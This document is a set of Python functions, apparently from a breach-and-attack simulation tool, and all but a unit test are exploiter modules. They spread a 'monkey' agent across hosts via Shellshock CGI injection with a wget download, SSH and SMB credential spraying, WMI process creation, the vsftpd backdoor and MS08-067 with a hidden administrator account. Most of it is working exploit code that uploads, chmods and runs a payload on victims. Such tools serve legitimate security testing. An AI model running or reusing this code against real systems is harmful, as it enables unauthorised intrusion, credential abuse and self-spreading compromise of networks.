def execute_remote_monkey(self, url, path, dropper=False): """ This method executes remote monkey :param url: Where to send malicious packets :param path: Path to monkey on remote host :param dropper: Should remote monkey be executed with dropper or with monkey arg? :return: Response or False if failed """ logger.info("Trying to execute remote monkey") # Get monkey command line if dropper and path: # If dropper is chosen we try to move monkey to default location default_path = self.get_default_dropper_path() if default_path is False: return False monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, self.vulnerable_port, default_path) command = RUN_MONKEY % { "monkey_path": path, "monkey_type": DROPPER_ARG, "parameters": monkey_cmd, } else: monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, self.vulnerable_port) command = RUN_MONKEY % { "monkey_path": path, "monkey_type": MONKEY_ARG, "parameters": monkey_cmd, } try: logger.info( "Trying to execute monkey using command: {}".format(command)) resp = self.exploit(url, command) # If exploiter returns True / False if isinstance(resp, bool): logger.info("Execution attempt successfully finished") self.add_executed_cmd(command) return resp # If exploiter returns command output, we can check for execution errors if "is not recognized" in resp or "command not found" in resp: logger.error( "Wrong path chosen or other process already deleted monkey" ) return False elif "The system cannot execute" in resp: logger.error("System could not execute monkey") return False except Exception as e: logger.error( "Something went wrong when trying to execute remote monkey: %s" % e) return False logger.info("Execution attempt finished") self.add_executed_cmd(command) return resp
def test_build_monkey_commandline(): example_host = VictimHost(ip_addr="bla") example_host.set_default_server("101010") expected = f" -p {GUID} -s 101010 -d 0 -l /home/bla -vp 80" actual = build_monkey_commandline(target_host=example_host, depth=0, vulnerable_port="80", location="/home/bla") assert expected == actual
def get_monkey_launch_command(self): dst_path = get_monkey_dest_path(self.monkey_server.http_path) # Form monkey's launch command monkey_args = build_monkey_commandline( self.host, get_monkey_depth() - 1, MSSQLExploiter.SQL_DEFAULT_TCP_PORT, dst_path) suffix = ">>{}".format(self.payload_file_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX return MSSQLLimitedSizePayload( command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args), prefix=prefix, suffix=suffix, )
def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str: monkey_params = build_monkey_commandline( target_host=host, depth=depth, vulnerable_port=None, location=executable_path, ) return RUN_MONKEY % { "monkey_path": executable_path, "monkey_type": DROPPER_ARG, "parameters": monkey_params, }
def _build_command(self, path, http_path) -> str: # Build command to execute monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, vulnerable_port=None, location=path) if "linux" in self.host.os["type"]: base_command = LOG4SHELL_LINUX_COMMAND else: base_command = LOG4SHELL_WINDOWS_COMMAND return base_command % { "monkey_path": path, "http_path": http_path, "monkey_type": DROPPER_ARG, "parameters": monkey_cmd, }
def build_command(self, path, http_path): # Build command to execute monkey_cmd = build_monkey_commandline( self.host, get_monkey_depth() - 1, vulnerable_port=HadoopExploiter.HADOOP_PORTS[0][0]) if "linux" in self.host.os["type"]: base_command = HADOOP_LINUX_COMMAND else: base_command = HADOOP_WINDOWS_COMMAND return base_command % { "monkey_path": path, "http_path": http_path, "monkey_type": MONKEY_ARG, "parameters": monkey_cmd, }
def _exploit_host(self): # start by picking ports candidate_services = { service: self.host.services[service] for service in self.host.services if ("name" in self.host.services[service]) and ( self.host.services[service]["name"] == "http") } valid_ports = [ (port, candidate_services["tcp-" + str(port)]["data"][1]) for port in self.HTTP if "tcp-" + str(port) in candidate_services ] http_ports = [port[0] for port in valid_ports if not port[1]] https_ports = [port[0] for port in valid_ports if port[1]] LOG.info("Scanning %s, ports [%s] for vulnerable CGI pages" % (self.host, ",".join([str(port[0]) for port in valid_ports]))) attackable_urls = [] # now for each port we want to check the entire URL list for port in http_ports: urls = self.check_urls(self.host.ip_addr, port) attackable_urls.extend(urls) for port in https_ports: urls = self.check_urls(self.host.ip_addr, port, is_https=True) attackable_urls.extend(urls) # now for each URl we want to try and see if it's attackable exploitable_urls = [ self.attempt_exploit(url) for url in attackable_urls ] exploitable_urls = [url for url in exploitable_urls if url[0] is True] # we want to report all vulnerable URLs even if we didn't succeed self.exploit_info["vulnerable_urls"] = [ url[1] for url in exploitable_urls ] # now try URLs until we install something on victim for _, url, header, exploit in exploitable_urls: LOG.info("Trying to attack host %s with %s URL" % (self.host, url)) # same attack script as sshexec # for any failure, quit and don't try other URLs if not self.host.os.get("type"): try: uname_os_attack = exploit + "/bin/uname -o" uname_os = self.attack_page(url, header, uname_os_attack) if "linux" in uname_os: self.host.os["type"] = "linux" else: LOG.info("SSH Skipping unknown os: %s", uname_os) return False except Exception as exc: LOG.debug( "Error running uname os command on victim %r: (%s)", self.host, exc) return False if not self.host.os.get("machine"): try: uname_machine_attack = exploit + "/bin/uname -m" uname_machine = self.attack_page(url, header, uname_machine_attack) if "" != uname_machine: self.host.os["machine"] = uname_machine.lower().strip() except Exception as exc: LOG.debug( "Error running uname machine command on victim %r: (%s)", self.host, exc) return False # copy the monkey dropper_target_path_linux = self._config.dropper_target_path_linux if self.skip_exist and (self.check_remote_file_exists( url, header, exploit, dropper_target_path_linux)): LOG.info( "Host %s was already infected under the current configuration, " "done" % self.host) return True # return already infected src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False if not self._create_lock_file(exploit, url, header): LOG.info("Another monkey is running shellshock exploit") return True http_path, http_thread = HTTPTools.create_transfer( self.host, src_path) if not http_path: LOG.debug( "Exploiter ShellShock failed, http transfer creation failed." ) return False download_command = "/usr/bin/wget %s -O %s;" % ( http_path, dropper_target_path_linux) download = exploit + download_command self.attack_page( url, header, download ) # we ignore failures here since it might take more than TIMEOUT time http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() self._remove_lock_file(exploit, url, header) if (http_thread.downloads != 1) or ("ELF" not in self.check_remote_file_exists( url, header, exploit, dropper_target_path_linux)): LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) continue # turn the monkey into an executable chmod = "/bin/chmod +x %s" % dropper_target_path_linux run_path = exploit + chmod self.attack_page(url, header, run_path) T1222Telem(ScanStatus.USED, chmod, self.host).send() # run the monkey cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) cmdline += build_monkey_commandline( self.host, get_monkey_depth() - 1, HTTPTools.get_port_from_url(url), dropper_target_path_linux, ) cmdline += " & " run_path = exploit + cmdline self.attack_page(url, header, run_path) LOG.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, cmdline, ) if not (self.check_remote_file_exists( url, header, exploit, self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") continue self.add_executed_cmd(cmdline) return True return False
def _exploit_host(self): port = SSH_PORT # if ssh banner found on different port, use that port. for servkey, servdata in list(self.host.services.items()): if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): port = int(servkey.replace("tcp-", "")) is_open, _ = check_tcp_port(self.host.ip_addr, port) if not is_open: logger.info("SSH port is closed on %r, skipping", self.host) return False try: ssh = self.exploit_with_ssh_keys(port) except FailedExploitationError: try: ssh = self.exploit_with_login_creds(port) except FailedExploitationError: logger.debug("Exploiter SSHExploiter is giving up...") return False if not self.host.os.get("type"): try: _, stdout, _ = ssh.exec_command("uname -o") uname_os = stdout.read().lower().strip().decode() if "linux" in uname_os: self.host.os["type"] = "linux" else: logger.info("SSH Skipping unknown os: %s", uname_os) return False except Exception as exc: logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc) return False if not self.host.os.get("machine"): try: _, stdout, _ = ssh.exec_command("uname -m") uname_machine = stdout.read().lower().strip().decode() if "" != uname_machine: self.host.os["machine"] = uname_machine except Exception as exc: logger.debug( "Error running uname machine command on victim %r: (%s)", self.host, exc ) if self.skip_exist: _, stdout, stderr = ssh.exec_command( "head -c 1 %s" % self._config.dropper_target_path_linux ) stdout_res = stdout.read().strip() if stdout_res: # file exists logger.info( "Host %s was already infected under the current configuration, " "done" % self.host ) return True # return already infected src_path = get_target_monkey(self.host) if not src_path: logger.info("Can't find suitable monkey executable for host %r", self.host) return False try: ftp = ssh.open_sftp() self._update_timestamp = time.time() with monkeyfs.open(src_path) as file_obj: ftp.putfo( file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer, ) ftp.chmod(self._config.dropper_target_path_linux, 0o777) status = ScanStatus.USED T1222Telem( ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux, self.host, ).send() ftp.close() except Exception as exc: logger.debug("Error uploading file into victim %r: (%s)", self.host, exc) status = ScanStatus.SCANNED T1105Telem( status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path ).send() if status == ScanStatus.SCANNED: return False try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline( self.host, get_monkey_depth() - 1, vulnerable_port=SSH_PORT ) cmdline += " > /dev/null 2>&1 &" ssh.exec_command(cmdline) logger.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, cmdline, ) ssh.close() self.add_executed_cmd(cmdline) return True except Exception as exc: logger.debug("Error running monkey on victim %r: (%s)", self.host, exc) return False
def _exploit_host(self): src_path = get_target_monkey(self.host) if not src_path: logger.info("Can't find suitable monkey executable for host %r", self.host) return False creds = self._config.get_exploit_user_password_or_hash_product() exploited = False for user, password, lm_hash, ntlm_hash in creds: try: # copy the file remotely using SMB remote_full_path = SmbTools.copy_file( self.host, src_path, self._config.dropper_target_path_win_32, user, password, lm_hash, ntlm_hash, self._config.smb_download_timeout, ) if remote_full_path is not None: logger.debug( "Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) " "%s : (SHA-512) %s)", self.host, user, self._config.hash_sensitive_data(password), self._config.hash_sensitive_data(lm_hash), self._config.hash_sensitive_data(ntlm_hash), ) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) self.add_vuln_port( "%s or %s" % ( SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], ) ) exploited = True break else: # failed exploiting with this user/pass self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) except Exception as exc: logger.debug( "Exception when trying to copy file using SMB to %r with user:"******" %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (" "SHA-512): %s: (%s)", self.host, user, self._config.hash_sensitive_data(password), self._config.hash_sensitive_data(lm_hash), self._config.hash_sensitive_data(ntlm_hash), exc, ) continue if not exploited: logger.debug("Exploiter SmbExec is giving up...") return False self.set_vulnerable_port() # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % { "dropper_path": remote_full_path } + build_monkey_commandline( self.host, get_monkey_depth() - 1, self.vulnerable_port, self._config.dropper_target_path_win_32, ) else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % { "monkey_path": remote_full_path } + build_monkey_commandline( self.host, get_monkey_depth() - 1, vulnerable_port=self.vulnerable_port ) smb_conn = False for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,)) rpctransport.set_dport(port) rpctransport.setRemoteHost(self.host.ip_addr) if hasattr(rpctransport, "set_credentials"): # This method exists only for selected protocol sequences. rpctransport.set_credentials(user, password, "", lm_hash, ntlm_hash, None) rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) scmr_rpc = rpctransport.get_dce_rpc() try: scmr_rpc.connect() except Exception as exc: logger.debug( "Can't connect to SCM on exploited machine %r port %s : %s", self.host, port, exc, ) continue smb_conn = rpctransport.get_smb_connection() break if not smb_conn: return False # We don't wanna deal with timeouts from now on. smb_conn.setTimeout(100000) scmr_rpc.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(scmr_rpc) sc_handle = resp["lpScHandle"] # start the monkey using the SCM resp = scmr.hRCreateServiceW( scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name, lpBinaryPathName=cmdline, ) service = resp["lpServiceHandle"] try: scmr.hRStartServiceW(scmr_rpc, service) status = ScanStatus.USED except Exception: status = ScanStatus.SCANNED pass T1035Telem(status, UsageEnum.SMB).send() scmr.hRDeleteService(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service) logger.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", remote_full_path, self.host, cmdline, ) self.add_vuln_port( "%s or %s" % ( SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], ) ) return True
def _exploit_host(self): LOG.info("Attempting to trigger the Backdoor..") ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT): ftp_socket.recv(RECV_128).decode("utf-8") if self.socket_send_recv(ftp_socket, USERNAME + b"\n"): time.sleep(FTP_TIME_BUFFER) self.socket_send(ftp_socket, PASSWORD + b"\n") ftp_socket.close() LOG.info("Backdoor Enabled, Now we can run commands") else: LOG.error("Failed to trigger backdoor on %s", self.host.ip_addr) return False LOG.info("Attempting to connect to backdoor...") backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT): LOG.info("Connected to backdoor on %s:6200", self.host.ip_addr) uname_m = str.encode(UNAME_M + "\n") response = self.socket_send_recv(backdoor_socket, uname_m) if response: LOG.info("Response for uname -m: %s", response) if "" != response.lower().strip(): # command execution is successful self.host.os["machine"] = response.lower().strip() self.host.os["type"] = "linux" else: LOG.info("Failed to execute command uname -m on victim %r ", self.host) src_path = get_target_monkey(self.host) LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False # Create a http server to host the monkey http_path, http_thread = HTTPTools.create_locked_transfer( self.host, src_path) dropper_target_path_linux = self._config.dropper_target_path_linux LOG.info("Download link for monkey is %s", http_path) # Upload the monkey to the machine monkey_path = dropper_target_path_linux download_command = WGET_HTTP_UPLOAD % { "monkey_path": monkey_path, "http_path": http_path } download_command = str.encode(str(download_command) + "\n") LOG.info("Download command is %s", download_command) if self.socket_send(backdoor_socket, download_command): LOG.info("Monkey is now Downloaded ") else: LOG.error("Failed to download monkey at %s", self.host.ip_addr) return False http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() # Change permissions change_permission = CHMOD_MONKEY % {"monkey_path": monkey_path} change_permission = str.encode(str(change_permission) + "\n") LOG.info("change_permission command is %s", change_permission) backdoor_socket.send(change_permission) T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send() # Run monkey on the machine parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1, vulnerable_port=FTP_PORT) run_monkey = RUN_MONKEY % { "monkey_path": monkey_path, "monkey_type": MONKEY_ARG, "parameters": parameters, } # Set unlimited to memory # we don't have to revert the ulimit because it just applies to the shell obtained by our # exploit run_monkey = ULIMIT_V + UNLIMITED + run_monkey run_monkey = str.encode(str(run_monkey) + "\n") time.sleep(FTP_TIME_BUFFER) if backdoor_socket.send(run_monkey): LOG.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey, ) self.add_executed_cmd(run_monkey.decode()) return True else: return False
def _exploit_host(self): src_path = get_target_monkey(self.host) if not src_path: logger.info("Can't find suitable monkey executable for host %r", self.host) return False creds = self._config.get_exploit_user_password_or_hash_product() for user, password, lm_hash, ntlm_hash in creds: password_hashed = self._config.hash_sensitive_data(password) lm_hash_hashed = self._config.hash_sensitive_data(lm_hash) ntlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash) creds_for_logging = ( "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " "({},{},{},{})".format(user, password_hashed, lm_hash_hashed, ntlm_hash_hashed) ) logger.debug( ("Attempting to connect %r using WMI with " % self.host) + creds_for_logging ) wmi_connection = WmiTools.WmiConnection() try: wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash) except AccessDeniedException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) logger.debug( ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging ) continue except DCERPCException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) logger.debug( ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging ) continue except socket.error: logger.debug( ("Network error in WMI connection to %r with " % self.host) + creds_for_logging ) return False except Exception as exc: logger.debug( ("Unknown WMI connection error to %r with " % self.host) + creds_for_logging + (" (%s):\n%s" % (exc, traceback.format_exc())) ) return False self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) # query process list and check if monkey already running on victim process_list = WmiTools.list_object( wmi_connection, "Win32_Process", fields=("Caption",), where="Name='%s'" % ntpath.split(src_path)[-1], ) if process_list: wmi_connection.close() logger.debug("Skipping %r - already infected", self.host) return False # copy the file remotely using SMB remote_full_path = SmbTools.copy_file( self.host, src_path, self._config.dropper_target_path_win_32, user, password, lm_hash, ntlm_hash, self._config.smb_download_timeout, ) if not remote_full_path: wmi_connection.close() return False # execute the remote dropper in case the path isn't final elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % { "dropper_path": remote_full_path } + build_monkey_commandline( self.host, get_monkey_depth() - 1, WmiExploiter.VULNERABLE_PORT, self._config.dropper_target_path_win_32, ) else: cmdline = MONKEY_CMDLINE_WINDOWS % { "monkey_path": remote_full_path } + build_monkey_commandline( self.host, get_monkey_depth() - 1, WmiExploiter.VULNERABLE_PORT ) # execute the remote monkey result = WmiTools.get_object(wmi_connection, "Win32_Process").Create( cmdline, ntpath.split(remote_full_path)[0], None ) if (0 != result.ProcessId) and (not result.ReturnValue): logger.info( "Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)", remote_full_path, self.host, result.ProcessId, cmdline, ) self.add_vuln_port(port="unknown") success = True else: logger.debug( "Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, " "cmdline=%r)", remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline, ) success = False result.RemRelease() wmi_connection.close() self.add_executed_cmd(cmdline) return success return False
def get_monkey_commandline_file(self, location): return BytesIO(DROPPER_ARG + build_monkey_commandline( self.host, get_monkey_depth() - 1, SambaCryExploiter.SAMBA_PORT, str(location)))
def _exploit_host(self): src_path = get_target_monkey(self.host) if not src_path: logger.info("Can't find suitable monkey executable for host %r", self.host) return False os_version = self._windows_versions.get(self.host.os.get("version"), WindowsVersion.Windows2003_SP2) exploited = False random_password = get_random_password() for _ in range(self._config.ms08_067_exploit_attempts): exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version) try: sock = exploit.start() sock.send( "cmd /c (net user {} {} /add) &&" " (net localgroup administrators {} /add)\r\n".format( self._config.user_to_add, random_password, self._config.user_to_add, ).encode()) time.sleep(2) sock.recv(1000) logger.debug("Exploited into %r using MS08-067", self.host) exploited = True break except Exception as exc: logger.debug("Error exploiting victim %r: (%s)", self.host, exc) continue if not exploited: logger.debug("Exploiter MS08-067 is giving up...") return False # copy the file remotely using SMB remote_full_path = SmbTools.copy_file( self.host, src_path, self._config.dropper_target_path_win_32, self._config.user_to_add, random_password, ) if not remote_full_path: # try other passwords for administrator for password in self._config.exploit_password_list: remote_full_path = SmbTools.copy_file( self.host, src_path, self._config.dropper_target_path_win_32, "Administrator", password, ) if remote_full_path: break if not remote_full_path: return True # execute the remote dropper in case the path isn't final if remote_full_path.lower( ) != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % { "dropper_path": remote_full_path } + build_monkey_commandline( self.host, get_monkey_depth() - 1, SRVSVC_Exploit.TELNET_PORT, self._config.dropper_target_path_win_32, ) else: cmdline = MONKEY_CMDLINE_WINDOWS % { "monkey_path": remote_full_path } + build_monkey_commandline( self.host, get_monkey_depth() - 1, vulnerable_port=SRVSVC_Exploit.TELNET_PORT) try: sock.send(("start %s\r\n" % (cmdline, )).encode()) sock.send(("net user %s /delete\r\n" % (self._config.user_to_add, )).encode()) except Exception as exc: logger.debug( "Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc) return True finally: try: sock.close() except socket.error: pass logger.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", remote_full_path, self.host, cmdline, ) return True